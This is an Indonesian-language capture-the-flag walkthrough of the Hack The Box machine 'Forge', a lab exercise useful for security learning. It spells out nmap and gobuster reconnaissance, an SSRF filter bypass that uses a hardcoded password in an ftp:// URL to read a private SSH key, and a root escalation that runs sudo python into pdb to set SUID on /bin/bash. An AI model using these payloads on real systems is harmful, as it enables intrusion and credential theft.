1. Sebelum memulai kita melakukan pengenalan terhadap mesin yang akan di coba
tambahkan nama host ( domain ) dan ip mesin seperti gambar di bawah ini :
|
Hostname
|
2. selanjutnya kita konek vpn dulu sebelum memulai dikarenakan mesin yang akan di ujicoba hanya boleh di lakukan pada jaringan lokal
|
Konek VPN
|
3. Selanjutnya kita melakukan scanning port menggunakan tools nmap dengan command nmap -sC -sV -oA nmap (ip mesin) seperti gambar dibawah ini :
|
NMAP |
disini ada 3 port yang di dapat namun hanya 2 port yang dibuka disini kita menggunakan 2 port saja yaitu port 22 dan port 80 dimana port 80 untuk web dan 22 untuk remote ssh
4. selanjutnya kita akan masuk ke web forge.htb nya dimana web tersebut jalan dengan port 80 masuk ke menu upload dimana kita dapat melakukan reverse dengan melakukan upload sesuatu file gambar atau file lain nya
|
Menu gallery |
|
|
|
|
|
Menu Upload
|
5. selanjutnya kita mencoba mencari sub-domain dengan menggunakan tools gobuster dengan command gobuster vhost -u http://forge.htb -w /home/x/Desktop/git/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 50 -r
|
Bruteforce sub-domain |
Disini kita menemukan admin.forge.hbt dengan status code 200
6. selanjunya kita mencoba melakukan akses pada admin http://admin.forge.htb/
|
admin |
|
|
|
|
Disini kita tidak mendapatkan apa apa
7. selanjutnya kita mencoba melakukan upload file apa aja pada menu upload disini ada 2 menu dimana melakukan upload dengan file dan melakukan upload dengan form url disini kita mencoba melakukan upload dengan menggunakan url
|
Invalid upload
|
disini kita menemukan bahwa url testing tidak dikenal ( tidak valid )
8. pada tampilan setelah upload kita menemukan Invalid protocol! Supported protocols: http, https dimana url dengan link testing tidak dapat di proses
maka kita mencoba melakukan upload dengan melakukan bypass link via remote menggunakan url http://ADMIN.FORGE.HTB
|
Bypass admin forge
|
9. setelah memelakukan upload dengan melakukan bypass kita coba lakukan curl link http://forge.htb/uploads/yjDLtuzdSs3dT85A7lf6 dimana link tersebut kita dapat setelah upload berhasil
|
Curl admin
|
setelah melakukan curl disini kita dapatkan link url yang menuju pada announcements
10. selanjutnya kita mencoba upload ulang dengan melakukan bypass menggunakan link http://ADMIN.FORGE.HTB/announcements pada menu upload from url
|
Bypass announcements
|
setelah kita mencoba melakukan upload kita mendapatkan link yang baru
11. dengan link yang kita dapat tadi kita coba melakukan curl ulang curl http://forge.htb/uploads/CMTOdHtZljbxq8fWkbWX
|
Curl Credential
|
disini kita menemukan sebuah user credential nya
12 setelah kita menemukan user credential nya kita coba bypass melalui form upload url dengan membypass ftp nya dengan ip localhost yaitu menggunakan ip 127.0.0.1 atau lebih tepat nya dengan menggunakan link seperti ini http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.1.1.1/.ssh/id_rsa&remote=1
|
bypass ftp
|
13 setelah melakukan bypass ftp nya kita coba curl untuk melihat respon pada url berikut ini http://forge.htb/uploads/PugZi8PM8WXsjlTGS7DQ
|
Curl key SSH
|
disini kita menemukan key untuk bisa masuk ke server menggunakan ssh via port yang open saat kita melakukan scaning dengan nmap yaitu port 22
14. selanjutnya kita coba save key tersebut lalu kita coba lakukan konek dengan port 22
|
akses server
|
15. setelah berhasil masuk ke server disini kita menemukan flag untuk user nya
|
Flag user
|
16. selanjutnya kita melakukan pencarian hash flah root nya dimana kita memanfaatkan sebuah script python dimana kita akan melakukan percobaan debug (pdb) yang dijalankan ke dalam bahasa pemrograman python
|
debug python
|
17. disini kita mencoba melihat script python nya kira kira apa yang bisa dibpass dan ternyata disini saya mencoba melakukan percobaan dengan dua login yang sama dengan mencoba melakukan debug pada import os nya seperti gambar dibawah ini
|
reverse debug
|
saya menggunakan perintah sudo /usr/bin/python3 /opt/remote-manage.py untuk melakukan debug python nya dan melakukan command nc localhost port 62023
18. setelah ketua nya connect maka pada terminal reverse gambar sebelah kanan kita mengetik '\ dan gambar sebelah kiri ketikan perintah (Pdb) import os (Pdb) os.system("ls /root") clean-uploads.sh root.txt snap (Pdb) (Pdb)os.system("chmod +s /bin/bash") (Pdb) exit()
|
Debug python and reverse
|
19. dan setelah berhasil melakukan debug kita dapat melihat flag root nya pada gambar di bawah ini
|
Flag root
|